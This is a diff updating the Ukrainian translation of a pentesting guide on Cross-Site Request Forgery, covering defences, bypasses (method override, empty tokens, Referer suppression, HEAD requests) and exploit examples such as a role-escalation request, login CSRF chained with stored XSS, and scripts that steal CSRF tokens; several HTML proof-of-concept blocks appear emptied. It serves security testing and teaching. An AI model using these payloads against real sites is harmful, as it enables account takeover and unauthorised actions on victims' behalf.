diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4c7d77d24..ff94a56ed 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -487,6 +487,7 @@ - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) + - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index bb4c87dc4..1e0b877e0 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -2,51 +2,58 @@ {{#include ../banners/hacktricks-training.md}} -## Cross-Site Request Forgery (CSRF) Пояснення +## Cross-Site Request Forgery (CSRF) — пояснення -**Cross-Site Request Forgery (CSRF)** — це тип вразливості безпеки у веб-застосунках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, використовуючи їхні автентифіковані сесії. Атака відбувається, коли користувач, який увійшов у платформу жертви, відвідує шкідливий сайт. Цей сайт ініціює запити до облікового запису жертви за допомогою виконання JavaScript, відправлення форм або завантаження зображень. +**Cross-Site Request Forgery (CSRF)** — це тип уразливості в веб‑застосунках. Він дозволяє нападникові виконувати дії від імені не підозрюваного користувача, експлуатуючи його автентифіковану сесію. Атака здійснюється, коли користувач, який увійшов у платформу-жертву, відвідує зловмисний сайт. Цей сайт потім тригерить запити до облікового запису жертви за допомогою виконання JavaScript, відправки форм або завантаження зображень. ### Передумови для CSRF-атаки -Щоб експлуатувати вразливість CSRF, мають бути виконані кілька умов: +Щоб експлуатувати уразливість CSRF, повинні виконуватися кілька умов: -1. **Identify a Valuable Action**: Зловмиснику потрібно знайти дію, яку варто експлуатувати — наприклад, зміна пароля користувача, email або підвищення привілеїв. -2. **Session Management**: Сесія користувача має керуватися виключно через cookies або заголовок HTTP Basic Authentication, оскільки інші заголовки не можна маніпулювати для цієї мети. -3. **Absence of Unpredictable Parameters**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть запобігти атаці. +1. **Виявити цінну дію**: нападникові потрібно знайти дію, яку варто експлуатувати — наприклад, зміна пароля, email або підвищення привілеїв. +2. **Управління сесією**: сесія користувача має керуватися виключно через cookies або заголовок HTTP Basic Authentication, оскільки інші заголовки не можна підмінити для цієї мети. +3. **Відсутність непередбачуваних параметрів**: запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаку. ### Швидка перевірка -Ви можете **захопити запит у Burp** і перевірити захист від CSRF, а для тестування з браузера можна натиснути **Copy as fetch** та переглянути запит: +Ви можете **перехопити запит у Burp** та перевірити захист від CSRF, а щоб протестувати з браузера, можна натиснути **Copy as fetch** і переглянути запит:
### Захист від CSRF -Можна застосувати кілька контрзаходів для захисту від CSRF-атак: +Можна застосувати кілька контрзаходів для захисту від CSRF: -- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Цей атрибут забороняє браузеру відправляти cookies разом із крос-сайт запитами. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може впливати на можливість здійснення атаки, особливо якщо атака вимагає читання відповіді від сайту жертви. [Learn about CORS bypass](cors-bypass.md). -- **Перевірка користувача**: Запит пароля користувача або вирішення captcha можуть підтвердити намір користувача. -- **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти переконатися, що запити надходять із довірених джерел. Однак ретельно сконструйовані URL можуть обійти погано реалізовані перевірки, наприклад: -- Використання `http://mal.net?orig=http://example.com` (URL закінчується на довірений URL) -- Використання `http://example.com.mal.net` (URL починається з довіреного URL) -- **Зміна імен параметрів**: Зміна імен параметрів у POST чи GET запитах може ускладнити автоматизовані атаки. -- **CSRF Tokens**: Включення унікального CSRF token для кожної сесії та вимога цього токена у наступних запитах значно зменшує ризик CSRF. Ефективність токена можна підсилити через застосування CORS. +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): цей атрибут заважає браузеру відправляти cookies разом із cross-site запитами. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). +- [**Cross-origin resource sharing**](cors-bypass.md): політика CORS сайту-жертви може впливати на здійсненність атаки, особливо якщо атака вимагає читання відповіді від сайту-жертви. [Learn about CORS bypass](cors-bypass.md). +- **Підтвердження користувача**: запит пароля користувача або вирішення captcha може підтвердити намір користувача. +- **Перевірка Referrer або Origin заголовків**: валідація цих заголовків допомагає переконатися, що запити надходять із довірених джерел. Проте ретельно сформовані URL можуть обійти погано реалізовані перевірки, наприклад: + - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL) + - Using `http://example.com.mal.net` (URL starts with the trusted URL) +- **Зміна назв параметрів**: зміна імен параметрів у POST або GET запитах може ускладнити автоматичні атаки. +- **CSRF Tokens**: включення унікального CSRF токену для кожної сесії і вимога цього токена в наступних запитах значно знижує ризик CSRF. Ефективність токену можна підвищити через застосування CORS. -Розуміння та впровадження цих захистів є критичними для підтримання безпеки та цілісності веб-застосунків. +Розуміння і впровадження цих захистів критично важливе для підтримання безпеки і цілісності веб‑застосунків. -## Defences Bypass +#### Поширені помилки у захисті -### From POST to GET (method-conditioned CSRF validation bypass) +- SameSite pitfalls: `SameSite=Lax` все ще дозволяє топ‑левел навігації між сайтами, наприклад посилання та GET‑форми, тому багато GET‑орієнтованих CSRF залишаються можливими. Див. cookie matrix в [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite). +- Header checks: валідовуйте `Origin`, коли він присутній; якщо одночасно `Origin` та `Referer` відсутні — відмовляйте у запиті. Не покладайтесь на перевірки підрядків/регексів `Referer`, які можна обійти за допомогою лука‑алайк доменів або сконструйованих URL, і зверніть увагу на трюк зі `meta name="referrer" content="never"`, який пригнічує відправку Referer. +- Method overrides: сприймайте перевизначені методи (`_method` або override заголовки) як такі, що змінюють стан, і застосовуйте CSRF‑перевірку до фактичного методу, а не тільки до POST. +- Login flows: застосовуйте захист від CSRF і до логіну; інакше login CSRF дозволяє примусово повторно автентифікуватися в облікові, контрольованому нападником, що може ланцюжитися зі stored XSS. -Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like: +## Обхід захистів + +### З POST на GET (обхід перевірки CSRF, залежної від методу) + +Деякі застосунки застосовують перевірку CSRF лише для POST, пропускаючи її для інших HTTP‑дієслів. Поширена погана практика у PHP виглядає так: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` -Якщо вразливий endpoint також приймає параметри з $_REQUEST, ви можете повторно виконати ту саму дію як GET-запит і повністю опустити CSRF token. Це перетворює дію, призначену тільки для POST, на GET-запит, що виконується без токена. +Якщо вразливий endpoint також приймає параметри з $_REQUEST, ви можете повторно виконати ту ж дію як GET-запит і зовсім опустити CSRF-токен. Це перетворює дію, призначену тільки для POST, на GET-дію, яка успішно виконується без токена. Приклад: @@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi ``` Примітки: -- Цей шаблон часто зустрічається разом із reflected XSS, коли відповіді помилково віддаються як text/html замість application/json. -- Поєднання цього з XSS значно знижує бар'єри для експлуатації, оскільки можна доставити єдине GET-посилання, яке і тригерить вразливий код, і повністю обходить перевірки CSRF. +- Цей шаблон часто зустрічається поруч з reflected XSS, коли відповіді неправильно віддаються як text/html замість application/json. +- Поєднання цього з XSS значно знижує бар'єри для експлуатації, оскільки ви можете доставити одне GET-посилання, яке і запускає вразливий шлях виконання, і повністю оминає перевірки CSRF. ### Відсутність токена -Додатки можуть реалізовувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка повністю пропускається, коли токен відсутній. Атакувальники можуть скористатися цим, **видаливши параметр**, який містить токен, а не лише його значення. Це дозволяє їм обійти процес валідації і ефективно провести Cross-Site Request Forgery (CSRF) атаку. +Застосунки можуть реалізувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка повністю пропускається, коли токен відсутній. Атакувальники можуть скористатися цим, **видаляючи параметр**, який несе токен, а не лише його значення. Це дозволяє їм обійти процес валідації та ефективно провести Cross-Site Request Forgery (CSRF)-атаку. -### CSRF token is not tied to the user session +Більше того, деякі реалізації просто перевіряють наявність параметра, але не перевіряють його вміст, тому **порожнє значення токена приймається**. У такому випадку достатньо просто відправити запит з `csrf=`: +```http +POST /admin/users/role HTTP/2 +Host: example.com +Content-Type: application/x-www-form-urlencoded -Додатки, які не прив'язують CSRF токени до сесій користувачів, становлять значний ризик безпеки. Такі системи перевіряють токени відносно **глобального пулу**, замість того щоб гарантувати, що кожен токен прив'язаний до сесії, яка його ініціювала. +username=guest&role=admin&csrf= +``` +Мінімальний PoC, який автоматично відправляється (приховування навігації за допомогою history.pushState): +```html + + +
+ + + + +
+ + + +``` +### CSRF token не прив'язаний до сесії користувача -Ось як атакувальники це використовують: +Застосунки, які **не прив'язують CSRF токени до сесії користувача**, становлять значний **ризик безпеки**. Такі системи перевіряють токени відносно **глобального пулу**, замість того, щоб гарантувати, що кожен токен прив'язаний до сесії, яка його ініціювала. -1. **Аутентифікуватися** за допомогою власного акаунта. -2. **Отримати дійсний CSRF токен** з глобального пулу. -3. **Використати цей токен** у CSRF-атакі проти жертви. +Ось як це експлуатують нападники: -Ця вразливість дозволяє атакувальникам надсилати несанкціоновані запити від імені жертви, експлуатуючи неналежний механізм перевірки токенів у додатку. +1. **Authenticate** using their own account. +2. **Obtain a valid CSRF token** from the global pool. +3. **Use this token** in a CSRF attack against a victim. -### Обхід методу +Ця вразливість дозволяє нападникам виконувати несанкціоновані запити від імені жертви, використовуючи **недостатній механізм валідації токенів** застосунку. -Якщо запит використовує «дивний» метод, перевірте, чи працює функціональність override методу. Наприклад, якщо використовується метод PUT, можна спробувати використати POST і відправити: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +### Method bypass -Це також може спрацювати, відправивши **\_method параметр всередині POST-запиту** або використовуючи **заголовки**: +Якщо запит використовує «дивний» метод, перевірте, чи працює функціональність method override. Наприклад, якщо використовується метод **PUT/DELETE/PATCH**, можна спробувати використати **POST** і надіслати override, напр.: `https://example.com/my/dear/api/val/num?_method=PUT`. -- _X-HTTP-Method_ -- _X-HTTP-Method-Override_ -- _X-Method-Override_ +Це також може спрацювати, якщо відправити параметр `_method` всередині тіла POST або використати override headers: +- `X-HTTP-Method` +- `X-HTTP-Method-Override` +- `X-Method-Override` + +Поширено у фреймворках на кшталт **Laravel**, **Symfony**, **Express** та інших. Розробники іноді пропускають CSRF для не-POST вербів, вважаючи, що браузери не можуть їх виконати; з method overrides ви все одно можете дістатися до цих обробників через POST. + +Example request and HTML PoC: +```http +POST /users/delete HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +username=admin&_method=DELETE +``` + +```html +
+ + + +
+``` ### Custom header token bypass -Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, то: +Якщо до запиту додається **custom header** з **token** як **CSRF protection method**, то: -- Перевірте запит без **кастомного токена та відповідного заголовка.** -- Перевірте запит з точно **такою ж довжиною, але іншим токеном.** +- Перевірте запит без **Customized Token** і без **header**. +- Перевірте запит із точно таким самим за довжиною, але іншим **token**. -### CSRF token is verified by a cookie +### CSRF token перевіряється за допомогою cookie -Додатки можуть реалізовувати захист від CSRF шляхом дублювання токена як у cookie, так і в параметрі запиту, або встановлюючи CSRF cookie і перевіряючи, чи відповідає токен, надісланий у запиті, значенню cookie. Застосунок валідуює запити, перевіряючи, чи співпадає токен у параметрі запиту зі значенням у cookie. +Додатки можуть реалізувати захист від CSRF шляхом дублювання token і в cookie, і в параметрі запиту, або встановивши CSRF cookie і перевіряючи, чи відповідає token, надісланий на сервер, значенню cookie. Застосунок валідуює запити, перевіряючи, чи співпадає token у параметрі запиту зі значенням cookie. -Однак цей метод вразливий до CSRF-атак, якщо на сайті є вади, що дозволяють атакувальнику встановити CSRF cookie у браузері жертви, наприклад CRLF-вразливість. Атакувальник може скористатися цим, завантаживши підступне зображення, яке встановлює cookie, а потім ініціювавши CSRF-атаку. +Однак цей метод уразливий до CSRF-атак, якщо на сайті є вади, що дозволяють атакуючому встановити CSRF cookie у браузері жертви, наприклад CRLF vulnerability. Атакуючий може скористатися цим, завантаживши підроблене зображення, яке встановлює cookie, а потім ініціювати CSRF-атаку. -Нижче наведено приклад того, як може бути структурована атака: +Нижче наведено приклад того, як може бути побудована атака: ```html @@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" /> ``` > [!TIP] -> Зауважте, що якщо **csrf token пов'язаний із session cookie, ця атака не спрацює**, оскільки вам доведеться підставити session жертви у себе, і, отже, ви будете атакувати самі себе. +> Зверніть увагу, що якщо **csrf token пов'язаний із session cookie, ця атака не спрацює** оскільки вам доведеться встановити session cookie жертви у себе, і, отже, ви будете атакувати себе. ### Зміна Content-Type -Згідно з [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути preflight** запитів при використанні методу **POST**, дозволені наступні значення Content-Type: +Згідно з [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути preflight** запитів при використанні методу **POST**, дозволені такі значення Content-Type: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -Однак зверніть увагу, що **логіка серверів може відрізнятися** залежно від використовуваного **Content-Type**, тому слід спробувати наведені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ +Однак зауважте, що **логіка серверів може відрізнятися** залежно від використаного **Content-Type**, тому слід спробувати згадані значення та інші, наприклад **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ -Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain: +Приклад (з [here](https://brycec.me/posts/corctf_2021_challenges)) надсилання JSON-даних як text/plain: ```html @@ -162,23 +209,23 @@ form.submit() ``` -### Обхід preflight-запитів для JSON-даних +### Bypassing Preflight Requests for JSON Data -When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type: +Коли намагаються відправити JSON-дані через POST-запит, використання `Content-Type: application/json` у HTML-формі безпосередньо неможливе. Аналогічно, використання `XMLHttpRequest` для відправки цього типу контенту ініціює preflight-запит. Тим не менш, існують стратегії, які дозволяють потенційно обійти це обмеження і перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type: -1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type. -2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`. -3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +1. **Use Alternative Content Types**: Використайте `Content-Type: text/plain` або `Content-Type: application/x-www-form-urlencoded`, встановивши `enctype="text/plain"` у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type. +2. **Modify Content Type**: Щоб уникнути preflight-запиту і при цьому змусити сервер розпізнати вміст як JSON, можна відправити дані з `Content-Type: text/plain; application/json`. Це не викликає preflight-запит, але сервер може правильно обробити такі дані, якщо він налаштований приймати `application/json`. +3. **SWF Flash File Utilization**: Менш поширений, але можливий метод — використання SWF flash-файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Referrer / Origin check bypass -**Уникати заголовка Referer** +**Уникайте заголовка Referrer** -Додатки можуть перевіряти заголовок 'Referer' тільки коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використати наступний HTML meta tag: +Застосунки можуть перевіряти заголовок 'Referer' лише коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використати наступний HTML meta tag: ```xml ``` -Це гарантує, що заголовок 'Referer' буде опущено, потенційно обходячи перевірки валідації в деяких додатках. +Це забезпечує, що заголовок 'Referer' опускається, потенційно дозволяючи обійти перевірки валідації в деяких додатках. **Regexp bypasses** @@ -187,7 +234,7 @@ When attempting to send JSON data via a POST request, using the `Content-Type: a ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -Щоб встановити домен сервера в URL, який Referrer збирається відправити всередині параметрів, ви можете зробити так: +Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати всередині параметрів, ви можете зробити так: ```html @@ -216,25 +263,60 @@ document.forms[0].submit() ``` -### **Обхід методу HEAD** +### **HEAD method bypass** -У першій частині [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснюється, що [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), роутер налаштовано так, щоб **handle HEAD requests as GET requests** без тіла відповіді — це поширене обхідне рішення, не унікальне для Oak. Замість спеціального обробника для HEAD-запитів їх просто **given to the GET handler but the app just removes the response body**. +Перша частина [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що в [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) роутер налаштований так, щоб **обробляти HEAD-запити як GET-запити** без тіла відповіді — це поширене рішення, яке не є унікальним для Oak. Замість окремого хендлера для HEAD-запитів їх просто **передають у GET-хендлер, але додаток просто видаляє тіло відповіді**. -Отже, якщо GET-запит обмежено, можна просто **send a HEAD request that will be processed as a GET request**. +Отже, якщо GET-запит обмежується, можна просто **відправити HEAD-запит, який буде оброблений як GET-запит**. -## **Приклади експлойтів** +## **Exploit Examples** -### **Екфільтрація CSRF Token** +### Stored CSRF via user-generated HTML -Якщо використовується **CSRF token** як засіб **захисту**, можна спробувати **exfiltrate it**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). +When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies. -### **GET using HTML tags** +- Якщо додаток використовує глобальний CSRF-токен, який не прив'язаний до сесії користувача, той самий токен може працювати для всіх користувачів, що робить stored CSRF надійним серед жертв. + +Мінімальний приклад, що змінює електронну пошту переглядача при завантаженні: +```html + +``` +### Login CSRF у зв'язці зі stored XSS + +Login CSRF сам по собі може мати незначний вплив, але в поєднанні з автентифікованим stored XSS він стає потужним: змусьте жертву автентифікуватися в обліковому записі, контрольованому атакуючим; опинившись у цьому контексті, stored XSS на автентифікованій сторінці виконається і зможе вкрасти tokens, захопити session або підвищити привілеї. + +- Переконайтеся, що login endpoint вразливий до CSRF (немає per-session token або origin check) і що його не блокують механізми, що вимагають взаємодії користувача. +- Після примусової авторизації автоматично перейдіть на сторінку, яка містить stored XSS payload атакуючого. + +Minimal login-CSRF PoC: +```html + + +
+ + + +
+ + + +``` +### **Екзфільтрація CSRF token** + +Якщо **CSRF token** використовується як **захист**, можна спробувати **екзфільтрувати його**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). + +### **GET за допомогою HTML тегів** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` -Інші HTML5-теги, які можна використовувати для автоматичної відправки GET-запиту, включають: +Інші HTML5 теги, які можна використати для автоматичної відправки GET-запиту, це: ```html @@ -263,7 +345,7 @@ background: url("..."); ``` -### GET-запит форми +### Форма GET-запиту ```html @@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit ``` -### Надсилання POST-запиту форми через iframe +### Form POST-запит через iframe ```html @@ -426,7 +508,7 @@ document.getElementById("formulario").submit() ``` -### **Вкрасти CSRF Token та надіслати POST-запит** +### **Вкрасти CSRF Token і відправити POST request** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` -### **Вкрасти CSRF Token та надіслати POST-запит, використовуючи iframe, form та Ajax** +### **Вкрасти CSRF Token і надіслати Post request, використовуючи iframe, form та Ajax** ```html ``` -### **POSTSteal CSRF token за допомогою Ajax і відправити post через form** +### **POSTSteal CSRF token за допомогою Ajax і надіслати post через форму** ```html